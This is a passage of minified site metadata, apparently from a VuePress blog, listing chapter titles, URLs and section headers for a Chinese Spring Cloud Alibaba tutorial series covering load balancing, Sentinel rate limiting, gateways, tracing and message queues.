tle:"启动多个用户微服务",slug:"启动多个用户微服务"},{level:3,title:"启动多个商品微服务",slug:"启动多个商品微服务"},{level:2,title:"实现自定义负载均衡",slug:"实现自定义负载均衡"},{level:3,title:"修改订单微服务代码",slug:"修改订单微服务代码"},{level:3,title:"测试负载均衡效果",slug:"测试负载均衡效果"},{level:2,title:"使用Ribbon实现负载均衡",slug:"使用ribbon实现负载均衡"},{level:3,title:"修改订单微服务代码",slug:"修改订单微服务代码-2"},{level:3,title:"测试负载均衡效果",slug:"测试负载均衡效果-2"},{level:2,title:"使用Fegin实现负载均衡",slug:"使用fegin实现负载均衡"},{level:3,title:"修改订单微服务代码",slug:"修改订单微服务代码-3"},{level:3,title:"测试负载均衡效果",slug:"测试负载均衡效果-3"},{level:2,title:"关于星球",slug:"关于星球"},{level:3,title:"星球提供的服务",slug:"星球提供的服务"},{level:3,title:"星球门票价格",slug:"星球门票价格"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"第09章:服务雪崩与容错方案",frontmatter:{layout:"post",category:"binghe-code-springcloudalibaba",title:"第09章:服务雪崩与容错方案",tagline:"by 冰河",tag:["springcloud","springcloudalibaba","binghe-code-springcloudalibaba"],excerpt:"本文重在介绍服务容错:服务雪崩与容错方案",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"第09章:服务雪崩与容错方案"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/microservices/springcloudalibaba/2022-04-28-SA%E5%AE%9E%E6%88%98-%E7%AC%AC9%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E5%AE%B9%E9%94%99-%E6%9C%8D%E5%8A%A1%E9%9B%AA%E5%B4%A9%E4%B8%8E%E5%AE%B9%E9%94%99%E6%96%B9%E6%A1%88.html"},{name:"twitter:title",content:"第09章:服务雪崩与容错方案"},{name:"twitter:url",content:"/md/microservices/springcloudalibaba/2022-04-28-SA%E5%AE%9E%E6%88%98-%E7%AC%AC9%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E5%AE%B9%E9%94%99-%E6%9C%8D%E5%8A%A1%E9%9B%AA%E5%B4%A9%E4%B8%8E%E5%AE%B9%E9%94%99%E6%96%B9%E6%A1%88.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/microservices/springcloudalibaba/2022-04-28-SA%E5%AE%9E%E6%88%98-%E7%AC%AC9%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E5%AE%B9%E9%94%99-%E6%9C%8D%E5%8A%A1%E9%9B%AA%E5%B4%A9%E4%B8%8E%E5%AE%B9%E9%94%99%E6%96%B9%E6%A1%88.html",relativePath:"md/microservices/springcloudalibaba/2022-04-28-SA实战-第9章-服务容错-服务雪崩与容错方案.md",key:"v-09bf13ee",path:"/md/microservices/springcloudalibaba/2022-04-28-SA%E5%AE%9E%E6%88%98-%E7%AC%AC9%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E5%AE%B9%E9%94%99-%E6%9C%8D%E5%8A%A1%E9%9B%AA%E5%B4%A9%E4%B8%8E%E5%AE%B9%E9%94%99%E6%96%B9%E6%A1%88.html",headers:[{level:2,title:"并发对系统的影响",slug:"并发对系统的影响"},{level:3,title:"压测说明",slug:"压测说明"},{level:3,title:"压测实战",slug:"压测实战"},{level:2,title:"服务雪崩",slug:"服务雪崩"},{level:2,title:"服务容错方案",slug:"服务容错方案"},{level:3,title:"服务限流",slug:"服务限流"},{level:3,title:"服务隔离",slug:"服务隔离"},{level:3,title:"服务超时",slug:"服务超时"},{level:3,title:"服务熔断",slug:"服务熔断"},{level:3,title:"服务降级",slug:"服务降级"},{level:2,title:"关于星球",slug:"关于星球"},{level:3,title:"星球提供的服务",slug:"星球提供的服务"},{level:3,title:"星球门票价格",slug:"星球门票价格"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"第10章:项目整合Sentinel实现限流与容错",frontmatter:{layout:"post",category:"binghe-code-springcloudalibaba",title:"第10章:项目整合Sentinel实现限流与容错",tagline:"by 冰河",tag:["springcloud","springcloudalibaba","binghe-code-springcloudalibaba"],excerpt:"SA实战 ·《SpringCloud Alibaba实战》第10章-服务容错:项目整合Sentinel实现限流与容错",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"第10章:项目整合Sentinel实现限流与容错"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/microservices/springcloudalibaba/2022-05-03-SA%E5%AE%9E%E6%88%98-%E7%AC%AC10%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E5%AE%B9%E9%94%99-Fegin%E6%95%B4%E5%90%88Sentinel.html"},{name:"twitter:title",content:"第10章:项目整合Sentinel实现限流与容错"},{name:"twitter:url",content:"/md/microservices/springcloudalibaba/2022-05-03-SA%E5%AE%9E%E6%88%98-%E7%AC%AC10%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E5%AE%B9%E9%94%99-Fegin%E6%95%B4%E5%90%88Sentinel.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/microservices/springcloudalibaba/2022-05-03-SA%E5%AE%9E%E6%88%98-%E7%AC%AC10%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E5%AE%B9%E9%94%99-Fegin%E6%95%B4%E5%90%88Sentinel.html",relativePath:"md/microservices/springcloudalibaba/2022-05-03-SA实战-第10章-服务容错-Fegin整合Sentinel.md",key:"v-d1b725c6",path:"/md/microservices/springcloudalibaba/2022-05-03-SA%E5%AE%9E%E6%88%98-%E7%AC%AC10%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E5%AE%B9%E9%94%99-Fegin%E6%95%B4%E5%90%88Sentinel.html",headers:[{level:2,title:"文章总览",slug:"文章总览"},{level:2,title:"章节概述",slug:"章节概述"},{level:2,title:"关于Sentinel",slug:"关于sentinel"},{level:3,title:"Sentinel的特征",slug:"sentinel的特征"},{level:3,title:"Sentinel的主要特性",slug:"sentinel的主要特性"},{level:3,title:"Sentinel的开源生态",slug:"sentinel的开源生态"},{level:2,title:"项目整合Sentinel",slug:"项目整合sentinel"},{level:3,title:"安装Sentinel控制台",slug:"安装sentinel控制台"},{level:3,title:"项目集成Sentinel",slug:"项目集成sentinel"},{level:3,title:"集成Sentinel限流功能",slug:"集成sentinel限流功能"},{level:3,title:"对提交订单的接口限流",slug:"对提交订单的接口限流"},{level:2,title:"Feign整合Sentinel实现容错",slug:"feign整合sentinel实现容错"},{level:3,title:"添加依赖并开启支持",slug:"添加依赖并开启支持"},{level:3,title:"为远程调用实现容错",slug:"为远程调用实现容错"},{level:3,title:"测试服务容错",slug:"测试服务容错"},{level:2,title:"容错扩展",slug:"容错扩展"},{level:3,title:"实现容错时获取异常",slug:"实现容错时获取异常"},{level:3,title:"测试服务容错",slug:"测试服务容错-2"},{level:2,title:"关于星球",slug:"关于星球"},{level:3,title:"星球提供的服务",slug:"星球提供的服务"},{level:3,title:"星球门票价格",slug:"星球门票价格"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"第11章:Sentinel核心技术与配置规则(最全使用教程)",frontmatter:{layout:"post",category:"binghe-code-springcloudalibaba",title:"第11章:Sentinel核心技术与配置规则(最全使用教程)",tagline:"by 冰河",tag:["springcloud","springcloudalibaba","binghe-code-springcloudalibaba"],excerpt:"文章有点长呀,小伙伴们耐心看完,并跟着实操每一个案例,相信你一定会对Sentinel有一个全新的认识。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"第11章:Sentinel核心技术与配置规则(最全使用教程)"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/microservices/springcloudalibaba/2022-05-05-SA%E5%AE%9E%E6%88%98-%E7%AC%AC11%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E5%AE%B9%E9%94%99%E5%8A%A0%E9%A4%90-Sentinel%E6%A0%B8%E5%BF%83%E6%8A%80%E6%9C%AF%E4%B8%8E%E9%85%8D%E7%BD%AE%E8%A7%84%E5%88%99.html"},{name:"twitter:title",content:"第11章:Sentinel核心技术与配置规则(最全使用教程)"},{name:"twitter:url",content:"/md/microservices/springcloudalibaba/2022-05-05-SA%E5%AE%9E%E6%88%98-%E7%AC%AC11%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E5%AE%B9%E9%94%99%E5%8A%A0%E9%A4%90-Sentinel%E6%A0%B8%E5%BF%83%E6%8A%80%E6%9C%AF%E4%B8%8E%E9%85%8D%E7%BD%AE%E8%A7%84%E5%88%99.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/microservices/springcloudalibaba/2022-05-05-SA%E5%AE%9E%E6%88%98-%E7%AC%AC11%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E5%AE%B9%E9%94%99%E5%8A%A0%E9%A4%90-Sentinel%E6%A0%B8%E5%BF%83%E6%8A%80%E6%9C%AF%E4%B8%8E%E9%85%8D%E7%BD%AE%E8%A7%84%E5%88%99.html",relativePath:"md/microservices/springcloudalibaba/2022-05-05-SA实战-第11章-服务容错加餐-Sentinel核心技术与配置规则.md",key:"v-6a1d09db",path:"/md/microservices/springcloudalibaba/2022-05-05-SA%E5%AE%9E%E6%88%98-%E7%AC%AC11%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E5%AE%B9%E9%94%99%E5%8A%A0%E9%A4%90-Sentinel%E6%A0%B8%E5%BF%83%E6%8A%80%E6%9C%AF%E4%B8%8E%E9%85%8D%E7%BD%AE%E8%A7%84%E5%88%99.html",headers:[{level:2,title:"本章总览",slug:"本章总览"},{level:2,title:"Sentinel核心功能",slug:"sentinel核心功能"},{level:3,title:"流量控制",slug:"流量控制"},{level:3,title:"熔断降级",slug:"熔断降级"},{level:3,title:"系统负载保护",slug:"系统负载保护"},{level:2,title:"Sentinel核心规则",slug:"sentinel核心规则"},{level:2,title:"流控规则",slug:"流控规则"},{level:3,title:"簇点链路规则",slug:"簇点链路规则"},{level:3,title:"配置简单限流",slug:"配置简单限流"},{level:3,title:"配置流控模式",slug:"配置流控模式"},{level:2,title:"熔断规则",slug:"熔断规则"},{level:3,title:"熔断规则概述",slug:"熔断规则概述"},{level:3,title:"演示基于慢调用比例熔断",slug:"演示基于慢调用比例熔断"},{level:3,title:"演示基于异常比例熔断",slug:"演示基于异常比例熔断"},{level:3,title:"演示基于异常数熔断",slug:"演示基于异常数熔断"},{level:2,title:"热点规则",slug:"热点规则"},{level:3,title:"热点规则概述",slug:"热点规则概述"},{level:3,title:"演示热点规则",slug:"演示热点规则"},{level:3,title:"演示热点高级选项规则",slug:"演示热点高级选项规则"},{level:2,title:"授权规则",slug:"授权规则"},{level:3,title:"授权规则概述",slug:"授权规则概述"},{level:3,title:"演示授权规则",slug:"演示授权规则"},{level:2,title:"系统规则",slug:"系统规则"},{level:3,title:"系统规则概述",slug:"系统规则概述"},{level:3,title:"演示系统规则",slug:"演示系统规则"},{level:2,title:"@SentinelResource注解",slug:"sentinelresource注解"},{level:3,title:"@SentinelResource注解概述",slug:"sentinelresource注解概述"},{level:3,title:"演示@SentinelResource注解",slug:"演示-sentinelresource注解"},{level:2,title:"Sentinel持久化",slug:"sentinel持久化"},{level:3,title:"Sentinel持久化概述",slug:"sentinel持久化概述"},{level:3,title:"实现Sentinel的持久化",slug:"实现sentinel的持久化"},{level:2,title:"关于星球",slug:"关于星球"},{level:3,title:"星球提供的服务",slug:"星球提供的服务"},{level:3,title:"星球门票价格",slug:"星球门票价格"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"第12章:网关概述与核心架构",frontmatter:{layout:"post",category:"binghe-code-springcloudalibaba",title:"第12章:网关概述与核心架构",tagline:"by 冰河",tag:["springcloud","springcloudalibaba","binghe-code-springcloudalibaba"],excerpt:"SA实战 ·《SpringCloud Alibaba实战》第12章-服务网关:网关概述与核心架构",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"第12章:网关概述与核心架构"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/microservices/springcloudalibaba/2022-05-08-SA%E5%AE%9E%E6%88%98-%E7%AC%AC12%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E7%BD%91%E5%85%B3-%E7%BD%91%E5%85%B3%E6%A6%82%E8%BF%B0%E4%B8%8E%E6%A0%B8%E5%BF%83%E6%9E%B6%E6%9E%84.html"},{name:"twitter:title",content:"第12章:网关概述与核心架构"},{name:"twitter:url",content:"/md/microservices/springcloudalibaba/2022-05-08-SA%E5%AE%9E%E6%88%98-%E7%AC%AC12%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E7%BD%91%E5%85%B3-%E7%BD%91%E5%85%B3%E6%A6%82%E8%BF%B0%E4%B8%8E%E6%A0%B8%E5%BF%83%E6%9E%B6%E6%9E%84.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/microservices/springcloudalibaba/2022-05-08-SA%E5%AE%9E%E6%88%98-%E7%AC%AC12%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E7%BD%91%E5%85%B3-%E7%BD%91%E5%85%B3%E6%A6%82%E8%BF%B0%E4%B8%8E%E6%A0%B8%E5%BF%83%E6%9E%B6%E6%9E%84.html",relativePath:"md/microservices/springcloudalibaba/2022-05-08-SA实战-第12章-服务网关-网关概述与核心架构.md",key:"v-d71bc0e2",path:"/md/microservices/springcloudalibaba/2022-05-08-SA%E5%AE%9E%E6%88%98-%E7%AC%AC12%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E7%BD%91%E5%85%B3-%E7%BD%91%E5%85%B3%E6%A6%82%E8%BF%B0%E4%B8%8E%E6%A0%B8%E5%BF%83%E6%9E%B6%E6%9E%84.html",headers:[{level:2,title:"本章总览",slug:"本章总览"},{level:2,title:"网关概述",slug:"网关概述"},{level:3,title:"没有网关的弊端",slug:"没有网关的弊端"},{level:3,title:"引入API网关",slug:"引入api网关"},{level:2,title:"主流的API网关",slug:"主流的api网关"},{level:3,title:"Nginx+Lua",slug:"nginx-lua"},{level:3,title:"Kong网关",slug:"kong网关"},{level:3,title:"Zuul网关",slug:"zuul网关"},{level:3,title:"Apache Shenyu网关",slug:"apache-shenyu网关"},{level:3,title:"SpringCloud Gateway网关",slug:"springcloud-gateway网关"},{level:2,title:"SpringCloud Gateway网关",slug:"springcloud-gateway网关-2"},{level:3,title:"SpringCloud Gateway概述",slug:"springcloud-gateway概述"},{level:3,title:"SpringCloud Gateway核心架构",slug:"springcloud-gateway核心架构"},{level:2,title:"关于星球",slug:"关于星球"},{level:3,title:"星球提供的服务",slug:"星球提供的服务"},{level:3,title:"星球门票价格",slug:"星球门票价格"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"第13章:项目整合SpringCloud Gateway网关",frontmatter:{layout:"post",category:"binghe-code-springcloudalibaba",title:"第13章:项目整合SpringCloud Gateway网关",tagline:"by 冰河",tag:["springcloud","springcloudalibaba","binghe-code-springcloudalibaba"],excerpt:"SA实战 ·《SpringCloud Alibaba实战》第13章-服务网关:项目整合SpringCloud Gateway网关",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"第13章:项目整合SpringCloud Gateway网关"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/microservices/springcloudalibaba/2022-05-08-SA%E5%AE%9E%E6%88%98-%E7%AC%AC13%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E7%BD%91%E5%85%B3-%E9%A1%B9%E7%9B%AE%E6%95%B4%E5%90%88SpringCloudGateway.html"},{name:"twitter:title",content:"第13章:项目整合SpringCloud Gateway网关"},{name:"twitter:url",content:"/md/microservices/springcloudalibaba/2022-05-08-SA%E5%AE%9E%E6%88%98-%E7%AC%AC13%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E7%BD%91%E5%85%B3-%E9%A1%B9%E7%9B%AE%E6%95%B4%E5%90%88SpringCloudGateway.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/microservices/springcloudalibaba/2022-05-08-SA%E5%AE%9E%E6%88%98-%E7%AC%AC13%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E7%BD%91%E5%85%B3-%E9%A1%B9%E7%9B%AE%E6%95%B4%E5%90%88SpringCloudGateway.html",relativePath:"md/microservices/springcloudalibaba/2022-05-08-SA实战-第13章-服务网关-项目整合SpringCloudGateway.md",key:"v-e4d56678",path:"/md/microservices/springcloudalibaba/2022-05-08-SA%E5%AE%9E%E6%88%98-%E7%AC%AC13%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E7%BD%91%E5%85%B3-%E9%A1%B9%E7%9B%AE%E6%95%B4%E5%90%88SpringCloudGateway.html",headers:[{level:2,title:"本章总览",slug:"本章总览"},{level:2,title:"章节概述",slug:"章节概述"},{level:2,title:"项目整合网关",slug:"项目整合网关"},{level:3,title:"新建网关模块",slug:"新建网关模块"},{level:3,title:"初步整合SpringCloud Gateway",slug:"初步整合springcloud-gateway"},{level:3,title:"网关整合Nacos",slug:"网关整合nacos"},{level:3,title:"网关整合Nacos最简配置",slug:"网关整合nacos最简配置"},{level:2,title:"网关整合Sentinel限流",slug:"网关整合sentinel限流"},{level:3,title:"实现route维度限流",slug:"实现route维度限流"},{level:3,title:"实现自定义API分组维度限流",slug:"实现自定义api分组维度限流"},{level:2,title:"关于星球",slug:"关于星球"},{level:3,title:"星球提供的服务",slug:"星球提供的服务"},{level:3,title:"星球门票价格",slug:"星球门票价格"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"第14章:SpringCloud Gateway核心技术",frontmatter:{layout:"post",category:"binghe-code-springcloudalibaba",title:"第14章:SpringCloud Gateway核心技术",tagline:"by 冰河",tag:["springcloud","springcloudalibaba","binghe-code-springcloudalibaba"],excerpt:"SA实战 ·《SpringCloud Alibaba实战》第14章-服务网关加餐:SpringCloud Gateway核心技术",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"第14章:SpringCloud Gateway核心技术"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/microservices/springcloudalibaba/2022-05-10-SA%E5%AE%9E%E6%88%98-%E7%AC%AC14%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E7%BD%91%E5%85%B3-SpringCloudGateway%E6%A0%B8%E5%BF%83%E6%8A%80%E6%9C%AF.html"},{name:"twitter:title",content:"第14章:SpringCloud Gateway核心技术"},{name:"twitter:url",content:"/md/microservices/springcloudalibaba/2022-05-10-SA%E5%AE%9E%E6%88%98-%E7%AC%AC14%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E7%BD%91%E5%85%B3-SpringCloudGateway%E6%A0%B8%E5%BF%83%E6%8A%80%E6%9C%AF.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/microservices/springcloudalibaba/2022-05-10-SA%E5%AE%9E%E6%88%98-%E7%AC%AC14%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E7%BD%91%E5%85%B3-SpringCloudGateway%E6%A0%B8%E5%BF%83%E6%8A%80%E6%9C%AF.html",relativePath:"md/microservices/springcloudalibaba/2022-05-10-SA实战-第14章-服务网关-SpringCloudGateway核心技术.md",key:"v-6c386d60",path:"/md/microservices/springcloudalibaba/2022-05-10-SA%E5%AE%9E%E6%88%98-%E7%AC%AC14%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E7%BD%91%E5%85%B3-SpringCloudGateway%E6%A0%B8%E5%BF%83%E6%8A%80%E6%9C%AF.html",headers:[{level:2,title:"本章总览",slug:"本章总览"},{level:2,title:"本章概述",slug:"本章概述"},{level:2,title:"网关断言",slug:"网关断言"},{level:3,title:"SpringCloud Gateway内置断言",slug:"springcloud-gateway内置断言"},{level:3,title:"演示内置断言",slug:"演示内置断言"},{level:3,title:"自定义断言",slug:"自定义断言"},{level:2,title:"网关过滤器",slug:"网关过滤器"},{level:3,title:"局部过滤器",slug:"局部过滤器"},{level:3,title:"全局过滤器",slug:"全局过滤器"},{level:2,title:"网关熔断机制",slug:"网关熔断机制"},{level:2,title:"关于星球",slug:"关于星球"},{level:3,title:"星球提供的服务",slug:"星球提供的服务"},{level:3,title:"星球门票价格",slug:"星球门票价格"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"第15章:核心原理与解决方案",frontmatter:{layout:"post",category:"binghe-code-springcloudalibaba",title:"第15章:核心原理与解决方案",tagline:"by 冰河",tag:["springcloud","springcloudalibaba","binghe-code-springcloudalibaba"],excerpt:"SA实战 ·《SpringCloud Alibaba实战》第15章-链路追踪:核心原理与解决方案",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"第15章:核心原理与解决方案"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/microservices/springcloudalibaba/2022-05-11-SA%E5%AE%9E%E6%88%98-%E7%AC%AC15%E7%AB%A0-%E9%93%BE%E8%B7%AF%E8%BF%BD%E8%B8%AA-%E6%A0%B8%E5%BF%83%E5%8E%9F%E7%90%86%E4%B8%8E%E8%A7%A3%E5%86%B3%E6%96%B9%E6%A1%88.html"},{name:"twitter:title",content:"第15章:核心原理与解决方案"},{name:"twitter:url",content:"/md/microservices/springcloudalibaba/2022-05-11-SA%E5%AE%9E%E6%88%98-%E7%AC%AC15%E7%AB%A0-%E9%93%BE%E8%B7%AF%E8%BF%BD%E8%B8%AA-%E6%A0%B8%E5%BF%83%E5%8E%9F%E7%90%86%E4%B8%8E%E8%A7%A3%E5%86%B3%E6%96%B9%E6%A1%88.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/microservices/springcloudalibaba/2022-05-11-SA%E5%AE%9E%E6%88%98-%E7%AC%AC15%E7%AB%A0-%E9%93%BE%E8%B7%AF%E8%BF%BD%E8%B8%AA-%E6%A0%B8%E5%BF%83%E5%8E%9F%E7%90%86%E4%B8%8E%E8%A7%A3%E5%86%B3%E6%96%B9%E6%A1%88.html",relativePath:"md/microservices/springcloudalibaba/2022-05-11-SA实战-第15章-链路追踪-核心原理与解决方案.md",key:"v-beb6b16a",path:"/md/microservices/springcloudalibaba/2022-05-11-SA%E5%AE%9E%E6%88%98-%E7%AC%AC15%E7%AB%A0-%E9%93%BE%E8%B7%AF%E8%BF%BD%E8%B8%AA-%E6%A0%B8%E5%BF%83%E5%8E%9F%E7%90%86%E4%B8%8E%E8%A7%A3%E5%86%B3%E6%96%B9%E6%A1%88.html",headers:[{level:2,title:"本章概述",slug:"本章概述"},{level:2,title:"分布式链路追踪",slug:"分布式链路追踪"},{level:2,title:"核心原理",slug:"核心原理"},{level:2,title:"解决方案",slug:"解决方案"},{level:2,title:"关于星球",slug:"关于星球"},{level:3,title:"星球提供的服务",slug:"星球提供的服务"},{level:3,title:"星球门票价格",slug:"星球门票价格"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"第16章:项目整合Sleuth实现链路追踪",frontmatter:{layout:"post",category:"binghe-code-springcloudalibaba",title:"第16章:项目整合Sleuth实现链路追踪",tagline:"by 冰河",tag:["springcloud","springcloudalibaba","binghe-code-springcloudalibaba"],excerpt:"SA实战 ·《SpringCloud Alibaba实战》第16章-链路追踪:项目整合Sleuth实现链路追踪",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"第16章:项目整合Sleuth实现链路追踪"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/microservices/springcloudalibaba/2022-05-12-SA%E5%AE%9E%E6%88%98-%E7%AC%AC16%E7%AB%A0-%E9%93%BE%E8%B7%AF%E8%BF%BD%E8%B8%AA-%E9%A1%B9%E7%9B%AE%E6%95%B4%E5%90%88Sleuth%E5%AE%9E%E7%8E%B0%E9%93%BE%E8%B7%AF%E8%BF%BD%E8%B8%AA.html"},{name:"twitter:title",content:"第16章:项目整合Sleuth实现链路追踪"},{name:"twitter:url",content:"/md/microservices/springcloudalibaba/2022-05-12-SA%E5%AE%9E%E6%88%98-%E7%AC%AC16%E7%AB%A0-%E9%93%BE%E8%B7%AF%E8%BF%BD%E8%B8%AA-%E9%A1%B9%E7%9B%AE%E6%95%B4%E5%90%88Sleuth%E5%AE%9E%E7%8E%B0%E9%93%BE%E8%B7%AF%E8%BF%BD%E8%B8%AA.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/microservices/springcloudalibaba/2022-05-12-SA%E5%AE%9E%E6%88%98-%E7%AC%AC16%E7%AB%A0-%E9%93%BE%E8%B7%AF%E8%BF%BD%E8%B8%AA-%E9%A1%B9%E7%9B%AE%E6%95%B4%E5%90%88Sleuth%E5%AE%9E%E7%8E%B0%E9%93%BE%E8%B7%AF%E8%BF%BD%E8%B8%AA.html",relativePath:"md/microservices/springcloudalibaba/2022-05-12-SA实战-第16章-链路追踪-项目整合Sleuth实现链路追踪.md",key:"v-8128e79a",path:"/md/microservices/springcloudalibaba/2022-05-12-SA%E5%AE%9E%E6%88%98-%E7%AC%AC16%E7%AB%A0-%E9%93%BE%E8%B7%AF%E8%BF%BD%E8%B8%AA-%E9%A1%B9%E7%9B%AE%E6%95%B4%E5%90%88Sleuth%E5%AE%9E%E7%8E%B0%E9%93%BE%E8%B7%AF%E8%BF%BD%E8%B8%AA.html",headers:[{level:2,title:"本章总览",slug:"本章总览"},{level:2,title:"Sleuth概述",slug:"sleuth概述"},{level:3,title:"Span简介",slug:"span简介"},{level:3,title:"Trace简介",slug:"trace简介"},{level:3,title:"Annotation简介",slug:"annotation简介"},{level:2,title:"项目整合Sleuth",slug:"项目整合sleuth"},{level:3,title:"最简使用",slug:"最简使用"},{level:3,title:"抽样采集数据",slug:"抽样采集数据"},{level:3,title:"追踪自定义线程池",slug:"追踪自定义线程池"},{level:3,title:"自定义链路过滤器",slug:"自定义链路过滤器"},{level:2,title:"关于星球",slug:"关于星球"},{level:3,title:"星球提供的服务",slug:"星球提供的服务"},{level:3,title:"星球门票价格",slug:"星球门票价格"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"第17章:Sleuth整合ZipKin",frontmatter:{layout:"post",category:"binghe-code-springcloudalibaba",title:"第17章:Sleuth整合ZipKin",tagline:"by 冰河",tag:["springcloud","springcloudalibaba","binghe-code-springcloudalibaba"],excerpt:"SA实战 ·《SpringCloud Alibaba实战》第17章-链路追踪:Sleuth整合ZipKin",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"第17章:Sleuth整合ZipKin"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/microservices/springcloudalibaba/2022-05-13-SA%E5%AE%9E%E6%88%98-%E7%AC%AC17%E7%AB%A0-%E9%93%BE%E8%B7%AF%E8%BF%BD%E8%B8%AA-Sleuth%E6%95%B4%E5%90%88ZipKin.html"},{name:"twitter:title",content:"第17章:Sleuth整合ZipKin"},{name:"twitter:url",content:"/md/microservices/springcloudalibaba/2022-05-13-SA%E5%AE%9E%E6%88%98-%E7%AC%AC17%E7%AB%A0-%E9%93%BE%E8%B7%AF%E8%BF%BD%E8%B8%AA-Sleuth%E6%95%B4%E5%90%88ZipKin.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/microservices/springcloudalibaba/2022-05-13-SA%E5%AE%9E%E6%88%98-%E7%AC%AC17%E7%AB%A0-%E9%93%BE%E8%B7%AF%E8%BF%BD%E8%B8%AA-Sleuth%E6%95%B4%E5%90%88ZipKin.html",relativePath:"md/microservices/springcloudalibaba/2022-05-13-SA实战-第17章-链路追踪-Sleuth整合ZipKin.md",key:"v-1c53e24e",path:"/md/microservices/springcloudalibaba/2022-05-13-SA%E5%AE%9E%E6%88%98-%E7%AC%AC17%E7%AB%A0-%E9%93%BE%E8%B7%AF%E8%BF%BD%E8%B8%AA-Sleuth%E6%95%B4%E5%90%88ZipKin.html",headers:[{level:2,title:"本章总览",slug:"本章总览"},{level:2,title:"本章概述",slug:"本章概述"},{level:2,title:"ZipKin核心架构",slug:"zipkin核心架构"},{level:3,title:"ZipKin概述",slug:"zipkin概述"},{level:3,title:"ZipKin核心架构",slug:"zipkin核心架构-2"},{level:2,title:"项目整合ZipKin",slug:"项目整合zipkin"},{level:3,title:"下载安装ZipKin服务端",slug:"下载安装zipkin服务端"},{level:3,title:"项目整合ZipKin客户端",slug:"项目整合zipkin客户端"},{level:2,title:"ZipKin数据持久化",slug:"zipkin数据持久化"},{level:3,title:"ZipKin数据持久化到MySQL",slug:"zipkin数据持久化到mysql"},{level:3,title:"ZipKin数据持久化到ElasticSearch",slug:"zipkin数据持久化到elasticsearch"},{level:2,title:"关于星球",slug:"关于星球"},{level:3,title:"星球提供的服务",slug:"星球提供的服务"},{level:3,title:"星球门票价格",slug:"星球门票价格"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"第18章:MQ使用场景与选型对比",frontmatter:{layout:"post",category:"binghe-code-springcloudalibaba",title:"第18章:MQ使用场景与选型对比",tagline:"by 